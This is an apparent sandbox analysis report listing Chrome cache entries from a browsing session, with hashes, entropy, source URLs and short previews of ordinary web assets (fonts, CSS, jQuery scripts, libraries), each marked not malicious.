Preview:	/! js-cookie v3.0.0-rc.0 \| MIT /.!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e=e\|\|self,function(){var r=e.Cookies,n=e.Cookies=t();n.noConflict=function(){return e.Cookies=r,n}}())}(this,function(){"use strict";function e(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)e[n]=r[n]}return e}var t={read:function(e){return e.replace(/%3B/g,";")},write:function(e){return e.replace(/;/g,"%3B")}};return function r(n,i){function o(r,o,u){if("undefined"!=typeof document){"number"==typeof(u=e({},i,u)).expires&&(u.expires=new Date(Date.now()+864e5*u.expires)),u.expires&&(u.expires=u.expires.toUTCString()),r=t.write(r).replace(/=/g,"%3D"),o=n.write(String(o),r);var c="";for(var f in u)u[f]&&(c+="; "+f,!0!==u[f]&&(c+="="+u[f].split(";")[0]));return document.cookie=r+"="+o+c}}return Object.create({set:o,get:function(e){if("undefined"!=typeof document&&(!arguments.length\|\|e)){for(var r

Chrome Cache Entry: 502

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (29911), with no line terminators
Category:	downloaded
Size (bytes):	29911
Entropy (8bit):	5.251715892949678
Encrypted:	false
SSDEEP:	768:utCYCGyCCCfCSfiB+e3tPCkKCFCWCxCGCGCdYK2Jx:z+wm
MD5:	5CA0D16C6F9C8FE726A0C2AB38657A65
SHA1:	40985DC7E95F477DA06DF3AA96BE3879E82E563E
SHA-256:	BC00798E3FEB5CA6223591C6DFA860ADF4914E641286A6926D2DB0DDED228EE0
SHA-512:	F1ACEED3A185DB5678C26389BEB694456B06541DEC91354E408BFD3767FF211570375DB1DE504DE7870082DEBBAA10382B75195CF49869116CF81B3D687573FA
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/default_page.bundle.js?ver=230904-91951
Preview:	!function(e){function t(t){for(var r,a,c=t[0],l=t[1],u=t[2],d=0,f=[];d<c.length;d++)a=c[d],o[a]&&f.push(o[a][0]),o[a]=0;for(r in l)Object.prototype.hasOwnProperty.call(l,r)&&(e[r]=l[r]);for(s&&s(t);f.length;)f.shift()();return i.push.apply(i,u\|\|[]),n()}function n(){for(var e,t=0;t<i.length;t++){for(var n=i[t],r=!0,c=1;c<n.length;c++){var l=n[c];0!==o[l]&&(r=!1)}r&&(i.splice(t--,1),e=a(a.s=n[0]))}return e}var r={},o={51:0,47:0,50:0,57:0,59:0},i=[];function a(t){if(r[t])return r[t].exports;var n=r[t]={i:t,l:!1,exports:{}};return e[t].call(n.exports,n,n.exports,a),n.l=!0,n.exports}a.m=e,a.c=r,a.d=function(e,t,n){a.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},a.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},a.t=function(e,t){if(1&t&&(e=a(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(a.r(n),Object.defi

Chrome Cache Entry: 503

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	17095
Entropy (8bit):	5.438208298945624
Encrypted:	false
SSDEEP:	192:HA/5A/keA/Rn/xn/8en/ZOMO5eOmN/sN/reN/ME/ME/LeE/sr/Tr/yer/7C/vC/c:H8i8p7hfrFmg+VXFHt3sSMd/9
MD5:	2A6AFE1502646D81D23D367043AD729C
SHA1:	DE8D5B5DB268040DFBEEE012B891C270B075D1C6
SHA-256:	C4F2FDCDCFFF9F088CCCA5EA91F4805E67C59605328059377A2F16D61C7F8DD6
SHA-512:	6A4EF6F9B5E517223B0B9DFFD113940F773B46CD1549B002AFBA7EBAC7D4037EF6B0D370A2143C9ACA7F23D930F01C6949D0E605D5928C48184F80CA0501872D
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/ss/newLogin/devCustomCSS.css
Preview:	/* devanagari /.@font-face {. font-family: 'Poppins';. font-style: italic;. font-weight: 200;. font-display: swap;. src: url('../fonts/newLogin/devCustomFonts/pxiDyp8kv8JHgFVrJJLmv1pVFteOcEg.woff2') format('woff2');. unicode-range: U+0900-097F, U+1CD0-1CF6, U+1CF8-1CF9, U+200C-200D, U+20A8, U+20B9, U+25CC, U+A830-A839, U+A8E0-A8FB;.}./ latin-ext /.@font-face {. font-family: 'Poppins';. font-style: italic;. font-weight: 200;. font-display: swap;. src: url('../fonts/newLogin/devCustomFonts/pxiDyp8kv8JHgFVrJJLmv1pVGdeOcEg.woff2') format('woff2');. unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin */.@font-face {. font-family: 'Poppins';. font-style: italic;. font-weight: 200;. font-display: swap;. src: url('../fonts/newLogin/devCustomFonts/pxiDyp8kv8JHgFVrJJLmv1pVF9eO.woff2') format('woff2');. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F,

Chrome Cache Entry: 504

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15744, version 1.0
Category:	downloaded
Size (bytes):	15744
Entropy (8bit):	7.986588355476176
Encrypted:	false
SSDEEP:	384:z1TLklSElcS5V6qQTMUP07JwirW6RlLwK79/:p7EJ5E2bJwi5jLwK79/
MD5:	15D9F621C3BD1599F0169DCF0BD5E63E
SHA1:	7CA9C5967F3BB8BFFEAB24B639B49C1E7D03FA52
SHA-256:	F6734F8177112C0839B961F96D813FCB189D81B60E96C33278C1983B6F419615
SHA-512:	D35A47162FC160CD5F806C3BB7FEB50EC96FDFC81753660EAD22EF33F89BE6B1BFD63D1135F6B479D35C2E9D30F2360FFC8819EFCA672270E230635BCB206C82
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......=........t..=..........................d..d..^.`.. .T..<.....\|..{........6.$.... ..t. ..I.3.%.....8..&....4Z.\|t .8.........D...$.uNE.P.E.Ak...=.x.9Xz.`.I..R....#F+B`..}.RP\|E...Z\.W[.............C...QB....m...cm.?.F.g.......Q....3......p...L2.[......!+@U..^~.......D.?.......j...U...c..U.l.6{...m.CD].h.t.....Q8.....@P...L.c.....+...ZD..2.K...:..4{g..:..~....v......<..H^.R.'....8....?.;...uy.VW..8=.".F..*.....@E....c....=..Ib.....y8$.a){.......KiIW.&..~.}..1..w.M..{.4......!..{..F.H.5#K...t..5.w...ve;. '......NJ......'(%;...?...D...M.Cq,<.=?.f......._...V..bA.(..37..v....+.uY.C.b.w8AF..3.n.-..'..U%.2....o.l."...^bj..aoF.!`....A....j...'.:Z.u...[..p.GW:U%.Ejq...:I...C........S.C...sJe.6D...<.UM,..&h..z}.y\|..9...D..j...n..B.$..T....?../.Q..=B...C._.f.#.:Bo.@]T.(..v..F..+d...". ......R..R..R....!..~A....X............>!`p..,08. 9.../.....r..Q.......Qpg.\ko...C..3..Y.y..t'.d9..>#\|..3..?.#..$....i........g5.z....S....{3..Sp..S2..w.6........

Chrome Cache Entry: 505

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	233
Entropy (8bit):	4.830870036403362
Encrypted:	false
SSDEEP:	3:ze1b7KxkFCNfbzR5U0GGWgIFph1b7KxkanGAWVb7KxkFCEgbADRf8WgIFY:iKG8bttGwwPKGaGzKGykNON
MD5:	0E3ADA8886EBB8DD16A2DD897437DB4D
SHA1:	796D781894092EDB5F9CF69A7C726E983E9FA3B5
SHA-256:	3D05103F5033ACB9F7B735187C4E1FD5F6A1F82453E05E86E9BEA9B11605105C
SHA-512:	942B629A6010E032EA3E6C6813A0349942A0094A36DCCD15BF87B5238B0F1931B5633B98B1B176967E4E978D120C672A36A0305F72EC67F1D24B42B08CBAEA6B
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/acf_block_column_content_with_image.css?ver=230904-91936
Preview:	.acf-block-column-content-with-image__decor{width:16.5rem;height:16.5rem;right:calc(100% - 8.25rem);top:0}.acf-block-column-content-with-image--reverse .acf-block-column-content-with-image__decor{right:auto;left:calc(100% - 8.25rem)}

Chrome Cache Entry: 506

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (16194)
Category:	downloaded
Size (bytes):	16449
Entropy (8bit):	5.151903892689731
Encrypted:	false
SSDEEP:	384:8ZAA6pB56II70uUl+V3TELHNqR+F0mbmwOwOX:kApB5IHtTY5FrU
MD5:	543FEB1ECAF06EA516F8CEC5F9F3F279
SHA1:	2A515632E0FD8FFDEB8D94CB25E44CF287FEB32F
SHA-256:	A1B6400A21DDEE090E93D8882FFA629963132785BFA41B0ABBEA199D278121E9
SHA-512:	EDF361ECE5066BB6DDA66490F3588DC60072C2CA4D4F15710717DB4F58129D0D76E1519F92C8F7011FD01A175868EF192C704B4A869AF95B150E0C3BF797816B
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/underscore.js/1.8.3/underscore-min.js
Preview:	// Underscore.js 1.8.3.// http://underscorejs.org.// (c) 2009-2015 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors.// Underscore may be freely distributed under the MIT license..(function(){function n(n){function t(t,r,e,u,i,o){for(;i>=0&&o>i;i+=n){var a=u?u[i]:i;e=r(e,t[a],a,t)}return e}return function(r,e,u,i){e=b(e,i,4);var o=!k(r)&&m.keys(r),a=(o\|\|r).length,c=n>0?0:a-1;return arguments.length<3&&(u=r[o?o[c]:c],c+=n),t(r,e,u,o,c,a)}}function t(n){return function(t,r,e){r=x(r,e);for(var u=O(t),i=n>0?0:u-1;i>=0&&u>i;i+=n)if(r(t[i],i,t))return i;return-1}}function r(n,t,r){return function(e,u,i){var o=0,a=O(e);if("number"==typeof i)n>0?o=i>=0?i:Math.max(i+a,o):a=i>=0?Math.min(i+1,a):i+a+1;else if(r&&i&&a)return i=r(e,u),e[i]===u?i:-1;if(u!==u)return i=t(l.call(e,o,a),m.isNaN),i>=0?i+o:-1;for(i=n>0?o:a-1;i>=0&&a>i;i+=n)if(e[i]===u)return i;return-1}}function e(n,t){var r=I.length,e=n.constructor,u=m.isFunction(e)&&e.prototype\|\|a,i="constructor";for(m

Chrome Cache Entry: 507

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15860, version 1.0
Category:	downloaded
Size (bytes):	15860
Entropy (8bit):	7.988022700476719
Encrypted:	false
SSDEEP:	384:S7qmPTF4N21t//YW2FS6+1XxrsbGmjlAbvqMmtCN:S621tHY4xwbGmjloSM7N
MD5:	E9F5AAF547F165386CD313B995DDDD8E
SHA1:	ACDEF5603C2387B0E5BFFD744B679A24A8BC1968
SHA-256:	F5AEBDFEA35D1E7656EF4ACC5DB1F243209755AE3300943EF8FC6280F363C860
SHA-512:	2A71EDB5490F286642A874D52A1969F54282BC43CB24E8D5A297E13B320321FB7B7AF5524EAC609CF5F95EE08D5E4EC5803E2A3C8D13C09F6CC38713C665D0CE
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBBc4.woff2
Preview:	wOF2......=...........=..........................d.....^.`.. .H..<........8........6.$.... ..~. ..)..~E......6..J..`.. :.....8.;..5......!.l.j.%SX.SDm...RXh...&.X......5..._...............@...8...Gi..g.;9..'.Q......1..5.U.....w.+.hn..........c.....5.#{..%.#.JP..i.J..U(.6.D5V.<"Ex6"...k..[..{.?.d2....{.........W.......S...hT,.l..'.9.;[@..._.L..\|+...)......S...9F......T..t...-=X.:FtZ..uZ.[.?..f<.....@.....'...I...e..........8.?..-R.3,%X...I2\|.Wk{i...V2C....H$.H.LH.{.........(...6U..%W[t.R....j.........iS..%..L....rf.=..7..9i.I...1.Mj..C..u.B.........vJ.....+.u$.=..3..T..R.._.gs...6).$.-.PUH..Hl....WDd.......fK.(B.F1>..5.._[..]}VA#X...c.....%.(s50...m...^...1...'.$U*H.t...H...s.AZu...'...8.p...@.@.....q..Y.#.....#.....G.....G@..o8. A........:.........S.:..N.S.j.....tav.}.9h..s.....he.......{,~k...,eK.z}.......5%G...l.uCK.....V..............m.....U}.Sz..Z.c.{.....:..g......>h..'\|Z........a....^.b...o.>...g........f../w'....Ja.o(

Chrome Cache Entry: 508

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 785 x 609, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	5045
Entropy (8bit):	7.8549835151004785
Encrypted:	false
SSDEEP:	96:/S5aUWZUZCXX7k4grZran0Z7/WhnXWO31tz0Q1j2WBNY1:/S5t4XX7k4g3+hXl190yBNY1
MD5:	24B83BBECBF76DCDAAA39B8EF7598DD9
SHA1:	9E3B8805CEEB44F310C1670276C7D205C1286D57
SHA-256:	5EF5BD15708AE9DA6CA46964847AF66E619622C97E8C7D231A7B74135EC18E5E
SHA-512:	8C28DE29291FF9F1BBA3C068E8F6885D06E52EA47C374288463587CA79887DA9C2B4D78A3262CED7F1A14DACCB8C886DB1CEB2430CF53DC896FED0231B4B6CE0
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......a........!....sRGB...,.....pHYs.................PLTE...J..N..P..U..N..@.....G..K..F..F.....J..D..@..M..U..J..I.....I..M..N..@..G..I..9..Q..M..N..@.....F..N..F..@..Q..3..D..F..U..I..I.......3..3..I..N..@.....I..C..M..M..U..D.....U..P..F..G..C..M..G..9..I..U....:....EtRNS.............................................................................IDATx...z.7...b..88....6..Ochp..^'.L2..=.c.%.$..uUI.H..>.}...O.j.....T.....c..k..uz.Rz-..\|E.VJ.M"....k......J..ID.I.VJ.U"..V.Z%......X.D<..+%...[....j...!=^).....+..2...=`).....,%.6..w..Z'..=b)..x..&.u"\...O...T...h..c.....1K.tH..`U.....-%.%.~].zuID....J.D..V..f....H.DL.aK.tK.o.T...8..-..1..3z.R.].qH.\J.k".....:'....B.DL]..uN...T....FU.{"<I.F=..IB...O..P.D..I...O..O.Dx.Puz%.?\.:..1uu../.......z&b..@..g"....7..1]..S.D./...;........'bF. E.?.....)...8.k.......H...P5b$.yIW!..%...W5.$.yE.!E.'..7t.R..../VT.H..?\.D.D.}...JD.D.!Z"\|..*DK...R..%.yC."..1..t-R.....XU f".>.U.b&.M/U...p.../n"..r...&.o

Chrome Cache Entry: 509

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	786
Entropy (8bit):	4.504954920772979
Encrypted:	false
SSDEEP:	12:U6VEcFWA4wd6s6z4/TLYNnvM/61FWmpK/111Ft15sKvXjWvM/HUTuKm6:3VpWA8Tz4/4N46NaHlHWuKB
MD5:	6811B8C35571B3BDEB4CB860803F2EF7
SHA1:	334647220511BA1A2FAFD7977BC252F04F0F340D
SHA-256:	EB861E3C0220C94296BBDEB8DEB876054E90E7D60DD27B7B8EB04BE54D94B5D8
SHA-512:	42D53667C5001C3AE042C353255B6804FF2088A3BA2BC6BBB3F316C754948D597E87CF4769869EEC37B9ED52CC640B9277999107DAA692EF49A0910697E3B667
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/wp-blog-post-layouts/includes/assets/js/frontend.js?ver=1.1.3
Preview:	/*.. Handles the events in the public facing window... /..jQuery(document).ready( function($) {.... "use strict";.. /.. Masonry layout for block... */.. // $( '.cv-block' ).each( function() {.. // var Pid = $(this).attr('id');.. // if( Pid === 'cv-masonry-post-layout' ) {.. // $(this).find( '.cv-post-wrapper' ).masonry();.. // }.. // });.. var masonryContainer = $( '.cv-masonry-post-layout' );.. if( masonryContainer.length !== 0 ) {.. masonryContainer.each( function() {.. var Pid = $(this).attr('id');.. var container = $( '#' + Pid + ' .cv-post-wrapper' );.. container.imagesLoaded( function() {.. container.masonry();.. }).. });.. }..});

Chrome Cache Entry: 510

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14239), with no line terminators
Category:	downloaded
Size (bytes):	14239
Entropy (8bit):	5.33042281088163
Encrypted:	false
SSDEEP:	384:3I2fNaC8QiHbcggNFUWTgMe91sa6XCZy54:42fNaC8QiHbfgNFUWg17slXCZy54
MD5:	70B4897108480DBE11C443C2AB7679C9
SHA1:	70DBFD38A0F1FC3B1A7D9FADAB58786484C34F17
SHA-256:	F268612BA59EAD1B24353BB77D66783BCC435AFF1C22BE5F93C40BAC3869968E
SHA-512:	466084FA711D299E394E96C2260BD8BDF103CF75DA8869934C997A19FC884D6DDFA2E92CE253533A4A0C5D627D580E9A40EFB7155F1C8C0E9FBD3A2C3A06C2AE
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/assets/js/animation.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.AOS=t():e.AOS=t()}(this,function(){return function(e){function t(o){if(n[o])return n[o].exports;var i=n[o]={exports:{},id:o,loaded:!1};return e[o].call(i.exports,i,i.exports,t),i.loaded=!0,i.exports}var n={};return t.m=e,t.c=n,t.p="dist/",t(0)}([function(e,t,n){"use strict";function o(e){return e&&e.__esModule?e:{default:e}}var i=Object.assign\|\|function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},r=n(1),a=(o(r),n(6)),u=o(a),c=n(7),f=o(c),s=n(8),d=o(s),l=n(9),p=o(l),m=n(10),b=o(m),v=n(11),y=o(v),g=n(14),h=o(g),w=[],k=!1,x=document.all&&!window.atob,j={offset:120,delay:0,easing:"ease",duration:400,disable:!1,once:!1,startEvent:"DOMContentLoaded",throttleDelay:99,debounceDelay:50,disableMutationObserver:!1},O=function(){var e=argum

Chrome Cache Entry: 511

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	536
Entropy (8bit):	4.926188410334715
Encrypted:	false
SSDEEP:	12:TMHdnzmS5PvW6+3T2F64oHzE3PWLRdSUKJ/ldE/NwlVv:2dzmYXWDIeV0UUdyOv
MD5:	A604A35187FEE0013F6E2868231C83DC
SHA1:	FCD36902A0BF5E2224BA1E2D73C50AD4B3F1D14D
SHA-256:	C8EB2BFF8BF3D1993D374958AEDAC107C0F1135ED436F454BB0FA987471C571C
SHA-512:	4BE176DA911D45DC5E20AA8F8BEAAE28FF4A10961509CD8A22156D0437DB16AC336350256DE8EF8AEF0B1ADEB20FE43108B16A573639B438B77FE277342E696B
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2020/07/icon_contact.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>.<svg class="d-block adjustable-element" viewBox="0 0 20 15" xmlns="http://www.w3.org/2000/svg">..<title>Icon contact</title>.<path fill="#0e1e4d" d="M19.0217 0.475433L0.829412 7.04968C0.491878 7.17242 0.434344 7.62502 0.729686 7.82447L3.44914 9.68091L15.7922 3.17187L5.34393 10.9735V14.1341C5.34393 14.3489 5.58558 14.4793 5.76585 14.3604L8.06722 12.8338L10.3341 14.3795C10.5412 14.5215 10.825 14.4601 10.9593 14.2453L19.1867 0.678721C19.2557 0.567488 19.1445 0.429406 19.0217 0.475433Z"/>.</svg>.

Chrome Cache Entry: 512

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	98
Entropy (8bit):	4.3345953784587445
Encrypted:	false
SSDEEP:	3:UV9DZUAKVcLfA2OnMz9BF+RUAzKZMAyn:UbFKVU4Vu9zTAO6
MD5:	E6094661D8923E95B233019EBFF7C8F0
SHA1:	CFD836D385D475BAFFEE45D85CFEB9BB36E70D9E
SHA-256:	547DDA3C14B284819BE511BE1E410DA94A5EFC6CCC4A9AFE1C75394F9333191A
SHA-512:	B5684920345CCC14419CEC135D43521BDC9B77618BEFA0096E11E33414DBA09225FFE8E19EF10F3D75A74A086CFA40BE2EBF3A4310FA6395E3E2D407A7451995
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/Valley-Pro-Calculator/public/css/valley-pro-calculator-public.css?ver=1.0.0
Preview:	/*. All of the CSS for your public-facing functionality should be. * included in this file.. */

Chrome Cache Entry: 513

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17683)
Category:	downloaded
Size (bytes):	18278
Entropy (8bit):	5.623496272234338
Encrypted:	false
SSDEEP:	384:6CVlOu+6ONczau5v4yDb44f5wMZI/P+teaexfDIcrnOY4wb:6O+gt4yDbvf5wsIBaezrnOYtb
MD5:	7D07C2BBCB789E8A63340B6F449416E0
SHA1:	44856381D2A46155517776ADBB8B21B5EFE41FFD
SHA-256:	E892BB3E48503E380678166AC87282496B89283E5926617F93398FF50955D436
SHA-512:	6530BC8A5E56FEE5546CF6A3797D9EF0769A18DC92424E82273E80F39F29B79E905B3C8B65DE6B791EE466D502477D3CFEDD7139D917F3A9E4BA73F8562A4515
Malicious:	false
Reputation:	low
URL:	https://www.google.com/js/bg/6JK7PkhQPjgGeBZqyHKCSWuJKD5ZJmF_kzmP9QlV1DY.js
Preview:	/* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t / (function(){var R=this\|\|self,L=function(n){return n},D=function(n,Y){if(!(Y=(n=null,R.trustedTypes),Y)\|\|!Y.createPolicy)return n;try{n=Y.createPolicy("bg",{createHTML:L,createScript:L,createScriptURL:L})}catch(d){R.console&&R.console.error(d.message)}return n};(0,eval)(function(n,Y){return(Y=D())&&1===n.eval(Y.createScript("1"))?function(d){return Y.createScript(d)}:function(d){return""+d}}(R)(Array(7824Math.random()\|0).join("\n")+['(function(){/',.'',.' SPDX-License-Identifier: Apache-2.0',.'/',.'var nW=function(n,Y){return Y=0,function(){return Y<n.length?{done:false,value:n[Y++]}:{done:true}}},YK=function(n,Y){return(n=n.create().shift(),Y.A).create().length\|\|Y.C.create().length\|\|(Y.A=void 0,Y.C=void 0),n},d4=function(n,Y){function R(){this.I=(this.n=0,[])}return[function(L){n.iS(L),Y.iS(L)},(Y=(R.prototype.dX=(R.prototype.iS=function(L,m){(this.n++,50)>this.I.length?this.I.push(L):(m=Math.f

Chrome Cache Entry: 514

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2119
Entropy (8bit):	4.809009210661584
Encrypted:	false
SSDEEP:	48:No70rJVyQcxOrxZchVDD2DDrICykkn7B3/6UOqEf:y7aJVDcMrncPK/r9aBPxOZ
MD5:	1443A82F90AEA9EB609FA8D6CF9E2747
SHA1:	2BCDC2BFFD4466BF0B4AA1B44D30075798E5A952
SHA-256:	D0A4569A0E5A6B48A2603E2B3497D32501F01EC10B7DBAA5DB9C31C7D227D3ED
SHA-512:	5077F1653A379F3CE6F821D89841B6A0308C12C0232346588DFB3E599A3D019CEE3F54FB4D4548C8B987DAD838201AB0190BD20C27C3644955A19CEC5164C1A5
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/custom.js
Preview:	$(document).ready(function () {.. // Getting elements.. let reviewsCount = document.querySelector(".google-reviews-container");.. let reviewsection = document.querySelector(".section-google-reviews");.. // checking number of reviews.. if (reviewsCount.children.length <= 2) {.. // Adding class to elements.. reviewsCount.classList.add("reviews-multiple");.. reviewsection.classList.add("reviews-nonslider");.. // checking number of reviews.. if (reviewsCount.children.length === 2) {.. const mediaQuery = window.matchMedia("(max-width: 768px)");.. // Check if the media query is true.. if (mediaQuery.matches) {.. // removing class.. reviewsCount.classList.remove("reviews-multiple");.. reviewsection.classList.remove("reviews-nonslider");.. review_slider();.. }.. }.. } else if (reviewsCount.children.length > 2) {.. // Slick slider.. review_slider();.. }..});....$(window).resize(function () {.. var reviewsCount = doc

Chrome Cache Entry: 515

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9848)
Category:	downloaded
Size (bytes):	13404
Entropy (8bit):	4.996851212378328
Encrypted:	false
SSDEEP:	192:77TS3/OkZLdtdTOHAf0OLobAU0iZpEXj0LvhpBaEMuawTX0k:763/LfdoG0huEbn
MD5:	DD755805EB89A1DFB117A6525D622366
SHA1:	E58E07979F4AA1F058F27526DAD1A95554905598
SHA-256:	F65F13D1B628AEDE91412C609036D4969892955C977E0BC8A066DAD79FA0C141
SHA-512:	003DBB0F8E3130E9278E5AC009A1EF8066E921B8DE6E939A21E646478AC27BF5D05779B7B9C8D25308594EB7407BB60EC91AB7ACB5E1A133C62662E2B4370F39
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/user-submitted-posts/resources/usp.css?ver=20240319
Preview:	/* ..User Submitted Posts : CSS : USP Form..@ https://perishablepress.com/user-submitted-posts/..Complete list of CSS selectors @ https://m0n.co/e.*/..div#user-submitted-posts { width: 100%; max-width: 800px; overflow: hidden; }.div#user-submitted-posts form { box-sizing: border-box; margin: 10px 0; padding: 5px; }.div#user-submitted-posts fieldset { box-sizing: border-box; margin: 10px 0; padding: 0; border: 0; }..div#user-submitted-posts fieldset label { box-sizing: border-box; display: block; float: none; clear: both; width: 80%; margin: 0; padding: 0; border: 0; font-size: 90%; }.div#user-submitted-posts fieldset input.usp-input { box-sizing: border-box; display: block; float: none; clear: both; width: 80%; margin: 0; }.div#user-submitted-posts textarea.usp-textarea { box-sizing: border-box; display: block; float: none; clear: both; width: 100%; margin: 0; }.div#user-submitted-posts select { box-sizing: border-box; display: block; float: none; clear

Chrome Cache Entry: 516

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	4291
Entropy (8bit):	4.901301845234329
Encrypted:	false
SSDEEP:	48:xH7M2LAzj6572UM7qMRDI0B6M7VwRT//HIoLL88ijloodfatfVjJBNJlTJRZXy+I:e2LAi2Up+B6FT//HCYTq
MD5:	8CE1CEDB837520965C669EF5205E507E
SHA1:	05E908ADD0BFF0FA91D57FC16F8F558D3793FB71
SHA-256:	B22401581F75C71D541F039503C982492335818F335E525A6A6995C91A7CA90C
SHA-512:	03BAA91D61A43170E7A90CDCF1BDE5E70A76EE2F85C7419C0D6549A8A4183C9FB99241056D35F91A081273EB1A8B59D52E8A3F24DE9FA96DFDAB945052CFB6F8
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/custom.css
Preview:	/* Google reviews slider */...review_section {.. margin-top: 24px;..}...reviews_section_title h4.reviews_title {.. font-size: 20px;.. line-height: 24px;.. color: #0e1e4d;.. margin-bottom: 8px !important;..}...section-google-reviews {.. padding: 15px 20px 0 12px;..}...section-google-reviews.reviews-nonslider {.. padding: 15px 0 0 !important;..}...reviews-nonslider .reviews-multiple .google-review:first-child {.. margin-left: 0;..}...reviews-nonslider .reviews-multiple .google-review:last-child {.. margin-right: 0;..}...google-review {.. padding: 20px;.. margin: 15px;.. box-shadow: 1px 1px 10px 5px rgba(0, 0, 0, 0.1);.. border-radius: 8px;..}...review-name p {.. color: #0e1e4d;.. font-size: 18px;.. font-weight: 600;.. line-height: 1.2;.. margin: 0;..}...review-ratings-container {.. display: flex;.. gap: 5px;.. align-items: center;.. justify-content: flex-start;.. padding: 0 0 10px;..}.....google-reviews-container.reviews-multiple {.. display: flex;.. align-items:

Chrome Cache Entry: 517

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.322445490340781
Encrypted:	false
SSDEEP:	3:CUdSkL1pse:XSk/se
MD5:	6D22E4F2D2057C6E8D6FAB098E76E80F
SHA1:	B80B11203D97FE01C5597CA3BE70406EA48F5709
SHA-256:	AFE0DCFCA292A0FAE8BCE08A48C14D3E59C9D82C6052AB6D48A22ECC6C48F277
SHA-512:	95DD0E4944B1541A9BE48A60A1A105FCFA0D69DD215ABAA9C1771ADECC5EE0C0FE91D0EB367B6D46A4F8B2E06E6FB962D56DFC1C53F1F62CC8B314710628CB1E
Malicious:	false
Reputation:	low
URL:	https://calendar.google.com/googlecalendar/images/blank.gif
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 518

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (22367), with no line terminators
Category:	downloaded
Size (bytes):	22367
Entropy (8bit):	5.542626302580642
Encrypted:	false
SSDEEP:	384:gM78SUevMTjuFzouWaqWAlpTpdHjPtcnG:p7oevMX5HjPwG
MD5:	B0B46B807EEE39AF0AAD8F5FEFC9B3A2
SHA1:	0FB04F15599BC0844063A6AB776C86E73CB9FBFC
SHA-256:	71CA2652E2B3FFD3C0EC966958604714CE6C7AF01D961B44ADC438518EB58CB3
SHA-512:	4EEC49904A5480940124A1C1B9C9DAE764EBB115829CBCE4356E66A1D7F077DFD204A4634B0622FFB14CC6EBFF7062D7F30502BF0BC7D998A1A55FC8C876DA8E
Malicious:	false
Reputation:	low
